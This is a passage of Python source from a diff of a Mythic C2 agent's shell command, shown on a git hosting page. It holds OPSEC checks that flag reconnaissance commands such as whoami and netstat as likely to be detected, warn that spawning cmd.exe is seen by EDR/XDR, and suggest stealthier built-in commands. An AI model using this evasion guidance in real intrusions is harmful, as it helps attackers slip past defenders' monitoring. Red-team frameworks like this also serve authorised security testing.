"systeminfo": "System information gathering is logged",
|
||||
"whoami": "Identity queries are logged",
|
||||
"tasklist": "Process enumeration is monitored",
|
||||
"netstat": "Network connection enumeration triggers alerts",
|
||||
"ipconfig": "Network configuration queries are logged",
|
||||
}
|
||||
|
||||
blocked = False
|
||||
warnings = []
|
||||
|
||||
for dangerous_cmd, reason in dangerous_commands.items():
|
||||
if dangerous_cmd in command:
|
||||
warnings.append(f"⚠️ {dangerous_cmd}: {reason}")
|
||||
blocked = True
|
||||
|
||||
# Check for cmd.exe spawning (always present in shell command)
|
||||
warnings.append("⚠️ cmd.exe spawn: This command spawns cmd.exe which is highly detectable by EDR/XDR")
|
||||
|
||||
message = "⚠️ HIGH OPSEC RISK - Shell Command Detected\n\n"
|
||||
message += "This command will spawn cmd.exe which is heavily monitored.\n\n"
|
||||
|
||||
if warnings:
|
||||
message += "Additional risks detected:\n"
|
||||
for warning in warnings:
|
||||
message += f" • {warning}\n"
|
||||
message += "\n"
|
||||
|
||||
message += "Consider using built-in Angerona commands instead:\n"
|
||||
message += " • Use 'ps' instead of 'tasklist'\n"
|
||||
message += " • Use 'ls' instead of 'dir'\n"
|
||||
message += " • Use 'cat' instead of 'type'\n"
|
||||
message += " • Use 'whoami' command instead of 'whoami.exe'\n\n"
|
||||
message += "If you must proceed, ensure you understand the detection risks."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=blocked,
|
||||
OpsecPreBypassRole="other_operator", # Requires another operator to approve
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
command = taskData.args.get_arg("command") or ""
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - Shell Command Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Process Create: cmd.exe spawned\n"
|
||||
message += " • Command Line: The executed command will be logged\n"
|
||||
message += " • Network Activity: If command makes network connections\n\n"
|
||||
message += "These artifacts may be detected by:\n"
|
||||
message += " • EDR/XDR solutions\n"
|
||||
message += " • SIEM systems\n"
|
||||
message += " • Process monitoring tools\n"
|
||||
message += " • Command line auditing\n\n"
|
||||
message += "Ensure you understand the detection risks before proceeding."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False, # Don't block, just warn
|
||||
OpsecPostBypassRole="operator", # Any operator can bypass
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
task.display_params = task.args.get_arg("command")
|
||||
return task
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent and add artifacts for Process Create.
|
||||
|
||||
According to Mythic documentation:
|
||||
https://docs.mythic-c2.net/customizing/hooking-features/artifacts
|
||||
|
||||
Artifacts should be added to the response JSON with an 'artifacts' array.
|
||||
However, the current Mythic API doesn't allow commands to directly modify
|
||||
the translator's JSON response. Instead, we could:
|
||||
|
||||
1. Use MythicRPC to create artifacts after the response (current limitation)
|
||||
2. Modify the agent to send command context in responses
|
||||
3. Have the translator detect shell commands automatically
|
||||
|
||||
For now, artifacts are prepared in the translator but need command context.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
# TODO: Add artifacts via MythicRPC or modify translator to detect shell commands
|
||||
# command = task.args.get_arg("command")
|
||||
# if command:
|
||||
# # Could use MythicRPC CreateArtifact here if available
|
||||
|
||||
return resp
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user